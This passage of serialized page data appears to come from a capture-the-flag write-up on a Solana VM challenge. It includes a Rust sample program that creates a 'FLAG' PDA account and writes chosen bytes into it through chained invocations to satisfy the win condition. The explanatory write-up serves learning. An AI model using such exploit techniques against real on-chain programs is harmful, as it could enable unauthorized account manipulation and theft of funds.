acct",{"type":23,"tag":481,"props":40286,"children":40287},{"style":514},[40288],{"type":28,"value":199},{"type":23,"tag":481,"props":40290,"children":40291},{"style":525},[40292],{"type":28,"value":1237},{"type":23,"tag":481,"props":40294,"children":40295},{"style":514},[40296],{"type":28,"value":199},{"type":23,"tag":481,"props":40298,"children":40299},{"style":610},[40300],{"type":28,"value":6621},{"type":23,"tag":481,"props":40302,"children":40303},{"style":525},[40304],{"type":28,"value":11531},{"type":23,"tag":481,"props":40306,"children":40307},{"style":514},[40308],{"type":28,"value":6055},{"type":23,"tag":481,"props":40310,"children":40311},{"style":551},[40312],{"type":28,"value":40313}," 0x1337\n",{"type":23,"tag":481,"props":40315,"children":40316},{"class":483,"line":567},[40317,40322,40326,40330,40335,40339,40343,40347,40352,40356,40360,40364,40368,40372,40376,40380,40384,40389,40393],{"type":23,"tag":481,"props":40318,"children":40319},{"style":514},[40320],{"type":28,"value":40321}," &&",{"type":23,"tag":481,"props":40323,"children":40324},{"style":943},[40325],{"type":28,"value":3336},{"type":23,"tag":481,"props":40327,"children":40328},{"style":514},[40329],{"type":28,"value":1006},{"type":23,"tag":481,"props":40331,"children":40332},{"style":610},[40333],{"type":28,"value":40334},"from_le_bytes",{"type":23,"tag":481,"props":40336,"children":40337},{"style":525},[40338],{"type":28,"value":618},{"type":23,"tag":481,"props":40340,"children":40341},{"style":508},[40342],{"type":28,"value":40205},{"type":23,"tag":481,"props":40344,"children":40345},{"style":514},[40346],{"type":28,"value":199},{"type":23,"tag":481,"props":40348,"children":40349},{"style":525},[40350],{"type":28,"value":40351},"data[",{"type":23,"tag":481,"props":40353,"children":40354},{"style":514},[40355],{"type":28,"value":559},{"type":23,"tag":481,"props":40357,"children":40358},{"style":551},[40359],{"type":28,"value":1622},{"type":23,"tag":481,"props":40361,"children":40362},{"style":525},[40363],{"type":28,"value":12900},{"type":23,"tag":481,"props":40365,"children":40366},{"style":514},[40367],{"type":28,"value":199},{"type":23,"tag":481,"props":40369,"children":40370},{"style":610},[40371],{"type":28,"value":23673},{"type":23,"tag":481,"props":40373,"children":40374},{"style":525},[40375],{"type":28,"value":11367},{"type":23,"tag":481,"props":40377,"children":40378},{"style":514},[40379],{"type":28,"value":199},{"type":23,"tag":481,"props":40381,"children":40382},{"style":610},[40383],{"type":28,"value":1196},{"type":23,"tag":481,"props":40385,"children":40386},{"style":525},[40387],{"type":28,"value":40388},"()) ",{"type":23,"tag":481,"props":40390,"children":40391},{"style":514},[40392],{"type":28,"value":6055},{"type":23,"tag":481,"props":40394,"children":40395},{"style":551},[40396],{"type":28,"value":40397}," 0x4337\n",{"type":23,"tag":481,"props":40399,"children":40400},{"class":483,"line":678},[40401],{"type":23,"tag":481,"props":40402,"children":40403},{"style":525},[40404],{"type":28,"value":26700},{"type":23,"tag":481,"props":40406,"children":40407},{"class":483,"line":784},[40408,40413,40417,40421,40425,40430,40434,40438],{"type":23,"tag":481,"props":40409,"children":40410},{"style":610},[40411],{"type":28,"value":40412}," writeln!",{"type":23,"tag":481,"props":40414,"children":40415},{"style":525},[40416],{"type":28,"value":618},{"type":23,"tag":481,"props":40418,"children":40419},{"style":508},[40420],{"type":28,"value":39458},{"type":23,"tag":481,"props":40422,"children":40423},{"style":525},[40424],{"type":28,"value":588},{"type":23,"tag":481,"props":40426,"children":40427},{"style":1805},[40428],{"type":28,"value":40429},"\"congrats!\"",{"type":23,"tag":481,"props":40431,"children":40432},{"style":525},[40433],{"type":28,"value":642},{"type":23,"tag":481,"props":40435,"children":40436},{"style":514},[40437],{"type":28,"value":670},{"type":23,"tag":481,"props":40439,"children":40440},{"style":525},[40441],{"type":28,"value":528},{"type":23,"tag":481,"props":40443,"children":40444},{"class":483,"line":812},[40445,40449,40453,40458,40462,40466,40470,40474,40479,40483,40487,40491,40495],{"type":23,"tag":481,"props":40446,"children":40447},{"style":535},[40448],{"type":28,"value":790},{"type":23,"tag":481,"props":40450,"children":40451},{"style":497},[40452],{"type":28,"value":24816},{"type":23,"tag":481,"props":40454,"children":40455},{"style":943},[40456],{"type":28,"value":40457}," Ok",{"type":23,"tag":481,"props":40459,"children":40460},{"style":525},[40461],{"type":28,"value":618},{"type":23,"tag":481,"props":40463,"children":40464},{"style":508},[40465],{"type":28,"value":40252},{"type":23,"tag":481,"props":40467,"children":40468},{"style":525},[40469],{"type":28,"value":598},{"type":23,"tag":481,"props":40471,"children":40472},{"style":514},[40473],{"type":28,"value":603},{"type":23,"tag":481,"props":40475,"children":40476},{"style":525},[40477],{"type":28,"value":40478}," env",{"type":23,"tag":481,"props":40480,"children":40481},{"style":514},[40482],{"type":28,"value":1006},{"type":23,"tag":481,"props":40484,"children":40485},{"style":610},[40486],{"type":28,"value":32564},{"type":23,"tag":481,"props":40488,"children":40489},{"style":525},[40490],{"type":28,"value":618},{"type":23,"tag":481,"props":40492,"children":40493},{"style":1805},[40494],{"type":28,"value":40143},{"type":23,"tag":481,"props":40496,"children":40497},{"style":525},[40498],{"type":28,"value":12292},{"type":23,"tag":481,"props":40500,"children":40501},{"class":483,"line":825},[40502,40507,40511,40515,40519,40524,40528,40532,40536,40540],{"type":23,"tag":481,"props":40503,"children":40504},{"style":610},[40505],{"type":28,"value":40506}," writeln!",{"type":23,"tag":481,"props":40508,"children":40509},{"style":525},[40510],{"type":28,"value":618},{"type":23,"tag":481,"props":40512,"children":40513},{"style":508},[40514],{"type":28,"value":39458},{"type":23,"tag":481,"props":40516,"children":40517},{"style":525},[40518],{"type":28,"value":588},{"type":23,"tag":481,"props":40520,"children":40521},{"style":1805},[40522],{"type":28,"value":40523},"\"flag: {:?}\"",{"type":23,"tag":481,"props":40525,"children":40526},{"style":525},[40527],{"type":28,"value":588},{"type":23,"tag":481,"props":40529,"children":40530},{"style":508},[40531],{"type":28,"value":40252},{"type":23,"tag":481,"props":40533,"children":40534},{"style":525},[40535],{"type":28,"value":642},{"type":23,"tag":481,"props":40537,"children":40538},{"style":514},[40539],{"type":28,"value":670},{"type":23,"tag":481,"props":40541,"children":40542},{"style":525},[40543],{"type":28,"value":528},{"type":23,"tag":481,"props":40545,"children":40546},{"class":483,"line":843},[40547,40551,40555],{"type":23,"tag":481,"props":40548,"children":40549},{"style":525},[40550],{"type":28,"value":831},{"type":23,"tag":481,"props":40552,"children":40553},{"style":535},[40554],{"type":28,"value":836},{"type":23,"tag":481,"props":40556,"children":40557},{"style":525},[40558],{"type":28,"value":809},{"type":23,"tag":481,"props":40560,"children":40561},{"class":483,"line":864},[40562,40566,40570,40574,40578,40583,40587,40591],{"type":23,"tag":481,"props":40563,"children":40564},{"style":610},[40565],{"type":28,"value":40506},{"type":23,"tag":481,"props":40567,"children":40568},{"style":525},[40569],{"type":28,"value":618},{"type":23,"tag":481,"props":40571,"children":40572},{"style":508},[40573],{"type":28,"value":39458},{"type":23,"tag":481,"props":40575,"children":40576},{"style":525},[40577],{"type":28,"value":588},{"type":23,"tag":481,"props":40579,"children":40580},{"style":1805},[40581],{"type":28,"value":40582},"\"flag not found, please contact admin\"",{"type":23,"tag":481,"props":40584,"children":40585},{"style":525},[40586],{"type":28,"value":642},{"type":23,"tag":481,"props":40588,"children":40589},{"style":514},[40590],{"type":28,"value":670},{"type":23,"tag":481,"props":40592,"children":40593},{"style":525},[40594],{"type":28,"value":528},{"type":23,"tag":481,"props":40596,"children":40597},{"class":483,"line":873},[40598],{"type":23,"tag":481,"props":40599,"children":40600},{"style":525},[40601],{"type":28,"value":870},{"type":23,"tag":481,"props":40603,"children":40604},{"class":483,"line":1125},[40605],{"type":23,"tag":481,"props":40606,"children":40607},{"style":525},[40608],{"type":28,"value":879},{"type":23,"tag":481,"props":40610,"children":40611},{"class":483,"line":1142},[40612],{"type":23,"tag":481,"props":40613,"children":40614},{"style":525},[40615],{"type":28,"value":1443},{"type":23,"tag":31,"props":40617,"children":40619},{"id":40618},"solution-idea",[40620],{"type":28,"value":40621},"Solution Idea",{"type":23,"tag":24,"props":40623,"children":40624},{},[40625,40627,40632],{"type":28,"value":40626},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":64,"props":40628,"children":40630},{"className":40629},[],[40631],{"type":28,"value":33199},{"type":28,"value":40633}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":24,"props":40635,"children":40636},{},[40637,40639,40645],{"type":28,"value":40638},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":64,"props":40640,"children":40642},{"className":40641},[],[40643],{"type":28,"value":40644},"PDA(\"FLAG\")",{"type":28,"value":40646}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":24,"props":40648,"children":40649},{},[40650,40652,40659],{"type":28,"value":40651},"Essentially, we need to ",{"type":23,"tag":190,"props":40653,"children":40656},{"href":40654,"rel":40655},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[194],[40657],{"type":28,"value":40658},"invoke the System Program",{"type":28,"value":40660},", and write controlled data into the newly created account.",{"type":23,"tag":24,"props":40662,"children":40663},{},[40664],{"type":28,"value":40665},"A sample program that does this is as follows:",{"type":23,"tag":435,"props":40667,"children":40669},{"className":475,"code":40668,"language":474,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[40670],{"type":23,"tag":64,"props":40671,"children":40672},{"__ignoreMap":7},[40673,40693,40717,40745,40773,40793,40829,40865,40872,40880,40913,40930,40955,40976,41028,41053,41060,41073,41119,41163,41171,41179,41190,41206,41217,41237,41257,41264,41300,41315,41322,41330,41409,41416,41427],{"type":23,"tag":481,"props":40674,"children":40675},{"class":483,"line":484},[40676,40680,40684,40689],{"type":23,"tag":481,"props":40677,"children":40678},{"style":497},[40679],{"type":28,"value":11178},{"type":23,"tag":481,"props":40681,"children":40682},{"style":497},[40683],{"type":28,"value":11183},{"type":23,"tag":481,"props":40685,"children":40686},{"style":610},[40687],{"type":28,"value":40688}," process_instruction",{"type":23,"tag":481,"props":40690,"children":40691},{"style":525},[40692],{"type":28,"value":988},{"type":23,"tag":481,"props":40694,"children":40695},{"class":483,"line":351},[40696,40701,40705,40709,40713],{"type":23,"tag":481,"props":40697,"children":40698},{"style":508},[40699],{"type":28,"value":40700}," program_id",{"type":23,"tag":481,"props":40702,"children":40703},{"style":514},[40704],{"type":28,"value":287},{"type":23,"tag":481,"props":40706,"children":40707},{"style":514},[40708],{"type":28,"value":4619},{"type":23,"tag":481,"props":40710,"children":40711},{"style":943},[40712],{"type":28,"value":18896},{"type":23,"tag":481,"props":40714,"children":40715},{"style":525},[40716],{"type":28,"value":1033},{"type":23,"tag":481,"props":40718,"children":40719},{"class":483,"line":531},[40720,40725,40729,40733,40737,40741],{"type":23,"tag":481,"props":40721,"children":40722},{"style":508},[40723],{"type":28,"value":40724}," accounts",{"type":23,"tag":481,"props":40726,"children":40727},{"style":514},[40728],{"type":28,"value":287},{"type":23,"tag":481,"props":40730,"children":40731},{"style":514},[40732],{"type":28,"value":4619},{"type":23,"tag":481,"props":40734,"children":40735},{"style":525},[40736],{"type":28,"value":1269},{"type":23,"tag":481,"props":40738,"children":40739},{"style":943},[40740],{"type":28,"value":12427},{"type":23,"tag":481,"props":40742,"children":40743},{"style":525},[40744],{"type":28,"value":11751},{"type":23,"tag":481,"props":40746,"children":40747},{"class":483,"line":567},[40748,40753,40757,40761,40765,40769],{"type":23,"tag":481,"props":40749,"children":40750},{"style":508},[40751],{"type":28,"value":40752}," data",{"type":23,"tag":481,"props":40754,"children":40755},{"style":514},[40756],{"type":28,"value":287},{"type":23,"tag":481,"props":40758,"children":40759},{"style":514},[40760],{"type":28,"value":4619},{"type":23,"tag":481,"props":40762,"children":40763},{"style":525},[40764],{"type":28,"value":1269},{"type":23,"tag":481,"props":40766,"children":40767},{"style":943},[40768],{"type":28,"value":946},{"type":23,"tag":481,"props":40770,"children":40771},{"style":525},[40772],{"type":28,"value":9259},{"type":23,"tag":481,"props":40774,"children":40775},{"class":483,"line":678},[40776,40780,40784,40789],{"type":23,"tag":481,"props":40777,"children":40778},{"style":525},[40779],{"type":28,"value":598},{"type":23,"tag":481,"props":40781,"children":40782},{"style":514},[40783],{"type":28,"value":11245},{"type":23,"tag":481,"props":40785,"children":40786},{"style":943},[40787],{"type":28,"value":40788}," ProgramResult",{"type":23,"tag":481,"props":40790,"children":40791},{"style":525},[40792],{"type":28,"value":809},{"type":23,"tag":481,"props":40794,"children":40795},{"class":483,"line":784},[40796,40800,40805,40809,40813,40817,40821,40825],{"type":23,"tag":481,"props":40797,"children":40798},{"style":497},[40799],{"type":28,"value":500},{"type":23,"tag":481,"props":40801,"children":40802},{"style":508},[40803],{"type":28,"value":40804}," flag_pda_ai",{"type":23,"tag":481,"props":40806,"children":40807},{"style":514},[40808],{"type":28,"value":517},{"type":23,"tag":481,"props":40810,"children":40811},{"style":514},[40812],{"type":28,"value":4619},{"type":23,"tag":481,"props":40814,"children":40815},{"style":508},[40816],{"type":28,"value":12163},{"type":23,"tag":481,"props":40818,"children":40819},{"style":525},[40820],{"type":28,"value":1269},{"type":23,"tag":481,"props":40822,"children":40823},{"style":551},[40824],{"type":28,"value":1568},{"type":23,"tag":481,"props":40826,"children":40827},{"style":525},[40828],{"type":28,"value":29089},{"type":23,"tag":481,"props":40830,"children":40831},{"class":483,"line":812},[40832,40836,40841,40845,40849,40853,40857,40861],{"type":23,"tag":481,"props":40833,"children":40834},{"style":497},[40835],{"type":28,"value":500},{"type":23,"tag":481,"props":40837,"children":40838},{"style":508},[40839],{"type":28,"value":40840}," user_ai",{"type":23,"tag":481,"props":40842,"children":40843},{"style":514},[40844],{"type":28,"value":517},{"type":23,"tag":481,"props":40846,"children":40847},{"style":514},[40848],{"type":28,"value":4619},{"type":23,"tag":481,"props":40850,"children":40851},{"style":508},[40852],{"type":28,"value":12163},{"type":23,"tag":481,"props":40854,"children":40855},{"style":525},[40856],{"type":28,"value":1269},{"type":23,"tag":481,"props":40858,"children":40859},{"style":551},[40860],{"type":28,"value":1558},{"type":23,"tag":481,"props":40862,"children":40863},{"style":525},[40864],{"type":28,"value":29089},{"type":23,"tag":481,"props":40866,"children":40867},{"class":483,"line":825},[40868],{"type":23,"tag":481,"props":40869,"children":40870},{"emptyLinePlaceholder":15},[40871],{"type":28,"value":1210},{"type":23,"tag":481,"props":40873,"children":40874},{"class":483,"line":843},[40875],{"type":23,"tag":481,"props":40876,"children":40877},{"style":488},[40878],{"type":28,"value":40879}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":481,"props":40881,"children":40882},{"class":483,"line":864},[40883,40887,40892,40896,40900,40904,40909],{"type":23,"tag":481,"props":40884,"children":40885},{"style":497},[40886],{"type":28,"value":500},{"type":23,"tag":481,"props":40888,"children":40889},{"style":508},[40890],{"type":28,"value":40891}," instruction",{"type":23,"tag":481,"props":40893,"children":40894},{"style":514},[40895],{"type":28,"value":517},{"type":23,"tag":481,"props":40897,"children":40898},{"style":943},[40899],{"type":28,"value":38531},{"type":23,"tag":481,"props":40901,"children":40902},{"style":514},[40903],{"type":28,"value":1006},{"type":23,"tag":481,"props":40905,"children":40906},{"style":610},[40907],{"type":28,"value":40908},"new_with_bincode",{"type":23,"tag":481,"props":40910,"children":40911},{"style":525},[40912],{"type":28,"value":988},{"type":23,"tag":481,"props":40914,"children":40915},{"class":483,"line":873},[40916,40921,40925],{"type":23,"tag":481,"props":40917,"children":40918},{"style":525},[40919],{"type":28,"value":40920}," system_program",{"type":23,"tag":481,"props":40922,"children":40923},{"style":514},[40924],{"type":28,"value":1006},{"type":23,"tag":481,"props":40926,"children":40927},{"style":525},[40928],{"type":28,"value":40929},"ID,\n",{"type":23,"tag":481,"props":40931,"children":40932},{"class":483,"line":1125},[40933,40937,40942,40946,40951],{"type":23,"tag":481,"props":40934,"children":40935},{"style":514},[40936],{"type":28,"value":996},{"type":23,"tag":481,"props":40938,"children":40939},{"style":525},[40940],{"type":28,"value":40941},"SystemInstruction",{"type":23,"tag":481,"props":40943,"children":40944},{"style":514},[40945],{"type":28,"value":1006},{"type":23,"tag":481,"props":40947,"children":40948},{"style":943},[40949],{"type":28,"value":40950},"CreateAccount",{"type":23,"tag":481,"props":40952,"children":40953},{"style":525},[40954],{"type":28,"value":809},{"type":23,"tag":481,"props":40956,"children":40957},{"class":483,"line":1142},[40958,40963,40967,40972],{"type":23,"tag":481,"props":40959,"children":40960},{"style":508},[40961],{"type":28,"value":40962}," space",{"type":23,"tag":481,"props":40964,"children":40965},{"style":514},[40966],{"type":28,"value":287},{"type":23,"tag":481,"props":40968,"children":40969},{"style":551},[40970],{"type":28,"value":40971}," 0x1337",{"type":23,"tag":481,"props":40973,"children":40974},{"style":525},[40975],{"type":28,"value":1033},{"type":23,"tag":481,"props":40977,"children":40978},{"class":483,"line":1159},[40979,40984,40988,40993,40997,41002,41006,41010,41015,41019,41024],{"type":23,"tag":481,"props":40980,"children":40981},{"style":508},[40982],{"type":28,"value":40983}," lamports",{"type":23,"tag":481,"props":40985,"children":40986},{"style":514},[40987],{"type":28,"value":287},{"type":23,"tag":481,"props":40989,"children":40990},{"style":525},[40991],{"type":28,"value":40992}," Rent",{"type":23,"tag":481,"props":40994,"children":40995},{"style":514},[40996],{"type":28,"value":1006},{"type":23,"tag":481,"props":40998,"children":40999},{"style":610},[41000],{"type":28,"value":41001},"default",{"type":23,"tag":481,"props":41003,"children":41004},{"style":525},[41005],{"type":28,"value":11367},{"type":23,"tag":481,"props":41007,"children":41008},{"style":514},[41009],{"type":28,"value":199},{"type":23,"tag":481,"props":41011,"children":41012},{"style":610},[41013],{"type":28,"value":41014},"minimum_balance",{"type":23,"tag":481,"props":41016,"children":41017},{"style":525},[41018],{"type":28,"value":618},{"type":23,"tag":481,"props":41020,"children":41021},{"style":551},[41022],{"type":28,"value":41023},"0x1337",{"type":23,"tag":481,"props":41025,"children":41026},{"style":525},[41027],{"type":28,"value":4214},{"type":23,"tag":481,"props":41029,"children":41030},{"class":483,"line":1172},[41031,41036,41040,41044,41048],{"type":23,"tag":481,"props":41032,"children":41033},{"style":508},[41034],{"type":28,"value":41035}," owner",{"type":23,"tag":481,"props":41037,"children":41038},{"style":514},[41039],{"type":28,"value":287},{"type":23,"tag":481,"props":41041,"children":41042},{"style":525},[41043],{"type":28,"value":39563},{"type":23,"tag":481,"props":41045,"children":41046},{"style":514},[41047],{"type":28,"value":1006},{"type":23,"tag":481,"props":41049,"children":41050},{"style":525},[41051],{"type":28,"value":41052},"ID\n",{"type":23,"tag":481,"props":41054,"children":41055},{"class":483,"line":1181},[41056],{"type":23,"tag":481,"props":41057,"children":41058},{"style":525},[41059],{"type":28,"value":22884},{"type":23,"tag":481,"props":41061,"children":41062},{"class":483,"line":1204},[41063,41068],{"type":23,"tag":481,"props":41064,"children":41065},{"style":610},[41066],{"type":28,"value":41067}," vec!",{"type":23,"tag":481,"props":41069,"children":41070},{"style":525},[41071],{"type":28,"value":41072},"[\n",{"type":23,"tag":481,"props":41074,"children":41075},{"class":483,"line":1213},[41076,41081,41085,41089,41093,41097,41102,41106,41111,41115],{"type":23,"tag":481,"props":41077,"children":41078},{"style":525},[41079],{"type":28,"value":41080}," AccountMeta",{"type":23,"tag":481,"props":41082,"children":41083},{"style":514},[41084],{"type":28,"value":1006},{"type":23,"tag":481,"props":41086,"children":41087},{"style":610},[41088],{"type":28,"value":12611},{"type":23,"tag":481,"props":41090,"children":41091},{"style":525},[41092],{"type":28,"value":618},{"type":23,"tag":481,"props":41094,"children":41095},{"style":514},[41096],{"type":28,"value":2120},{"type":23,"tag":481,"props":41098,"children":41099},{"style":508},[41100],{"type":28,"value":41101},"user_ai",{"type":23,"tag":481,"props":41103,"children":41104},{"style":514},[41105],{"type":28,"value":199},{"type":23,"tag":481,"props":41107,"children":41108},{"style":525},[41109],{"type":28,"value":41110},"key, ",{"type":23,"tag":481,"props":41112,"children":41113},{"style":497},[41114],{"type":28,"value":1539},{"type":23,"tag":481,"props":41116,"children":41117},{"style":525},[41118],{"type":28,"value":4214},{"type":23,"tag":481,"props":41120,"children":41121},{"class":483,"line":1222},[41122,41126,41130,41134,41138,41142,41147,41151,41155,41159],{"type":23,"tag":481,"props":41123,"children":41124},{"style":525},[41125],{"type":28,"value":41080},{"type":23,"tag":481,"props":41127,"children":41128},{"style":514},[41129],{"type":28,"value":1006},{"type":23,"tag":481,"props":41131,"children":41132},{"style":610},[41133],{"type":28,"value":12611},{"type":23,"tag":481,"props":41135,"children":41136},{"style":525},[41137],{"type":28,"value":618},{"type":23,"tag":481,"props":41139,"children":41140},{"style":514},[41141],{"type":28,"value":2120},{"type":23,"tag":481,"props":41143,"children":41144},{"style":508},[41145],{"type":28,"value":41146},"flag_pda_ai",{"type":23,"tag":481,"props":41148,"children":41149},{"style":514},[41150],{"type":28,"value":199},{"type":23,"tag":481,"props":41152,"children":41153},{"style":525},[41154],{"type":28,"value":41110},{"type":23,"tag":481,"props":41156,"children":41157},{"style":497},[41158],{"type":28,"value":1539},{"type":23,"tag":481,"props":41160,"children":41161},{"style":525},[41162],{"type":28,"value":4214},{"type":23,"tag":481,"props":41164,"children":41165},{"class":483,"line":1291},[41166],{"type":23,"tag":481,"props":41167,"children":41168},{"style":525},[41169],{"type":28,"value":41170}," ],\n",{"type":23,"tag":481,"props":41172,"children":41173},{"class":483,"line":1299},[41174],{"type":23,"tag":481,"props":41175,"children":41176},{"style":525},[41177],{"type":28,"value":41178}," );\n",{"type":23,"tag":481,"props":41180,"children":41181},{"class":483,"line":1329},[41182,41186],{"type":23,"tag":481,"props":41183,"children":41184},{"style":610},[41185],{"type":28,"value":38648},{"type":23,"tag":481,"props":41187,"children":41188},{"style":525},[41189],{"type":28,"value":988},{"type":23,"tag":481,"props":41191,"children":41192},{"class":483,"line":1337},[41193,41197,41202],{"type":23,"tag":481,"props":41194,"children":41195},{"style":514},[41196],{"type":28,"value":996},{"type":23,"tag":481,"props":41198,"children":41199},{"style":508},[41200],{"type":28,"value":41201},"instruction",{"type":23,"tag":481,"props":41203,"children":41204},{"style":525},[41205],{"type":28,"value":1033},{"type":23,"tag":481,"props":41207,"children":41208},{"class":483,"line":1369},[41209,41213],{"type":23,"tag":481,"props":41210,"children":41211},{"style":514},[41212],{"type":28,"value":996},{"type":23,"tag":481,"props":41214,"children":41215},{"style":525},[41216],{"type":28,"value":41072},{"type":23,"tag":481,"props":41218,"children":41219},{"class":483,"line":1377},[41220,41225,41229,41233],{"type":23,"tag":481,"props":41221,"children":41222},{"style":508},[41223],{"type":28,"value":41224}," user_ai",{"type":23,"tag":481,"props":41226,"children":41227},{"style":514},[41228],{"type":28,"value":199},{"type":23,"tag":481,"props":41230,"children":41231},{"style":610},[41232],{"type":28,"value":12909},{"type":23,"tag":481,"props":41234,"children":41235},{"style":525},[41236],{"type":28,"value":1016},{"type":23,"tag":481,"props":41238,"children":41239},{"class":483,"line":1437},[41240,41245,41249,41253],{"type":23,"tag":481,"props":41241,"children":41242},{"style":508},[41243],{"type":28,"value":41244}," flag_pda_ai",{"type":23,"tag":481,"props":41246,"children":41247},{"style":514},[41248],{"type":28,"value":199},{"type":23,"tag":481,"props":41250,"children":41251},{"style":610},[41252],{"type":28,"value":12909},{"type":23,"tag":481,"props":41254,"children":41255},{"style":525},[41256],{"type":28,"value":1016},{"type":23,"tag":481,"props":41258,"children":41259},{"class":483,"line":6528},[41260],{"type":23,"tag":481,"props":41261,"children":41262},{"style":525},[41263],{"type":28,"value":41170},{"type":23,"tag":481,"props":41265,"children":41266},{"class":483,"line":6546},[41267,41271,41275,41279,41283,41287,41291,41295],{"type":23,"tag":481,"props":41268,"children":41269},{"style":514},[41270],{"type":28,"value":996},{"type":23,"tag":481,"props":41272,"children":41273},{"style":525},[41274],{"type":28,"value":1269},{"type":23,"tag":481,"props":41276,"children":41277},{"style":514},[41278],{"type":28,"value":623},{"type":23,"tag":481,"props":41280,"children":41281},{"style":525},[41282],{"type":28,"value":1269},{"type":23,"tag":481,"props":41284,"children":41285},{"style":1805},[41286],{"type":28,"value":40143},{"type":23,"tag":481,"props":41288,"children":41289},{"style":514},[41290],{"type":28,"value":199},{"type":23,"tag":481,"props":41292,"children":41293},{"style":610},[41294],{"type":28,"value":40152},{"type":23,"tag":481,"props":41296,"children":41297},{"style":525},[41298],{"type":28,"value":41299},"()]],\n",{"type":23,"tag":481,"props":41301,"children":41302},{"class":483,"line":6591},[41303,41307,41311],{"type":23,"tag":481,"props":41304,"children":41305},{"style":525},[41306],{"type":28,"value":1187},{"type":23,"tag":481,"props":41308,"children":41309},{"style":514},[41310],{"type":28,"value":670},{"type":23,"tag":481,"props":41312,"children":41313},{"style":525},[41314],{"type":28,"value":528},{"type":23,"tag":481,"props":41316,"children":41317},{"class":483,"line":6697},[41318],{"type":23,"tag":481,"props":41319,"children":41320},{"emptyLinePlaceholder":15},[41321],{"type":28,"value":1210},{"type":23,"tag":481,"props":41323,"children":41324},{"class":483,"line":21008},[41325],{"type":23,"tag":481,"props":41326,"children":41327},{"style":488},[41328],{"type":28,"value":41329}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":481,"props":41331,"children":41332},{"class":483,"line":21043},[41333,41338,41342,41346,41350,41354,41358,41362,41366,41370,41374,41379,41383,41387,41392,41396,41400,41405],{"type":23,"tag":481,"props":41334,"children":41335},{"style":508},[41336],{"type":28,"value":41337}," flag_pda_ai",{"type":23,"tag":481,"props":41339,"children":41340},{"style":514},[41341],{"type":28,"value":199},{"type":23,"tag":481,"props":41343,"children":41344},{"style":610},[41345],{"type":28,"value":11362},{"type":23,"tag":481,"props":41347,"children":41348},{"style":525},[41349],{"type":28,"value":11367},{"type":23,"tag":481,"props":41351,"children":41352},{"style":514},[41353],{"type":28,"value":670},{"type":23,"tag":481,"props":41355,"children":41356},{"style":525},[41357],{"type":28,"value":1269},{"type":23,"tag":481,"props":41359,"children":41360},{"style":514},[41361],{"type":28,"value":559},{"type":23,"tag":481,"props":41363,"children":41364},{"style":551},[41365],{"type":28,"value":1622},{"type":23,"tag":481,"props":41367,"children":41368},{"style":525},[41369],{"type":28,"value":12900},{"type":23,"tag":481,"props":41371,"children":41372},{"style":514},[41373],{"type":28,"value":199},{"type":23,"tag":481,"props":41375,"children":41376},{"style":610},[41377],{"type":28,"value":41378},"copy_from_slice",{"type":23,"tag":481,"props":41380,"children":41381},{"style":525},[41382],{"type":28,"value":618},{"type":23,"tag":481,"props":41384,"children":41385},{"style":514},[41386],{"type":28,"value":623},{"type":23,"tag":481,"props":41388,"children":41389},{"style":551},[41390],{"type":28,"value":41391},"0x4337",{"type":23,"tag":481,"props":41393,"children":41394},{"style":943},[41395],{"type":28,"value":5521},{"type":23,"tag":481,"props":41397,"children":41398},{"style":514},[41399],{"type":28,"value":199},{"type":23,"tag":481,"props":41401,"children":41402},{"style":610},[41403],{"type":28,"value":41404},"to_le_bytes",{"type":23,"tag":481,"props":41406,"children":41407},{"style":525},[41408],{"type":28,"value":12914},{"type":23,"tag":481,"props":41410,"children":41411},{"class":483,"line":21051},[41412],{"type":23,"tag":481,"props":41413,"children":41414},{"emptyLinePlaceholder":15},[41415],{"type":28,"value":1210},{"type":23,"tag":481,"props":41417,"children":41418},{"class":483,"line":21059},[41419,41423],{"type":23,"tag":481,"props":41420,"children":41421},{"style":943},[41422],{"type":28,"value":11821},{"type":23,"tag":481,"props":41424,"children":41425},{"style":525},[41426],{"type":28,"value":11826},{"type":23,"tag":481,"props":41428,"children":41429},{"class":483,"line":21068},[41430],{"type":23,"tag":481,"props":41431,"children":41432},{"style":525},[41433],{"type":28,"value":1443},{"type":23,"tag":24,"props":41435,"children":41436},{},[41437],{"type":28,"value":41438},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":24,"props":41440,"children":41441},{},[41442],{"type":23,"tag":149,"props":41443,"children":41446},{"alt":41444,"src":41445},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":24,"props":41448,"children":41449},{},[41450],{"type":28,"value":41451},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":31,"props":41453,"children":41455},{"id":41454},"solution-implementation",[41456],{"type":28,"value":41457},"Solution Implementation",{"type":23,"tag":24,"props":41459,"children":41460},{},[41461,41463,41468],{"type":28,"value":41462},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":64,"props":41464,"children":41466},{"className":41465},[],[41467],{"type":28,"value":33199},{"type":28,"value":41469}," invocations:",{"type":23,"tag":435,"props":41471,"children":41475},{"className":41472,"code":41473,"language":41474,"meta":7,"style":7},"language-mermaid shiki 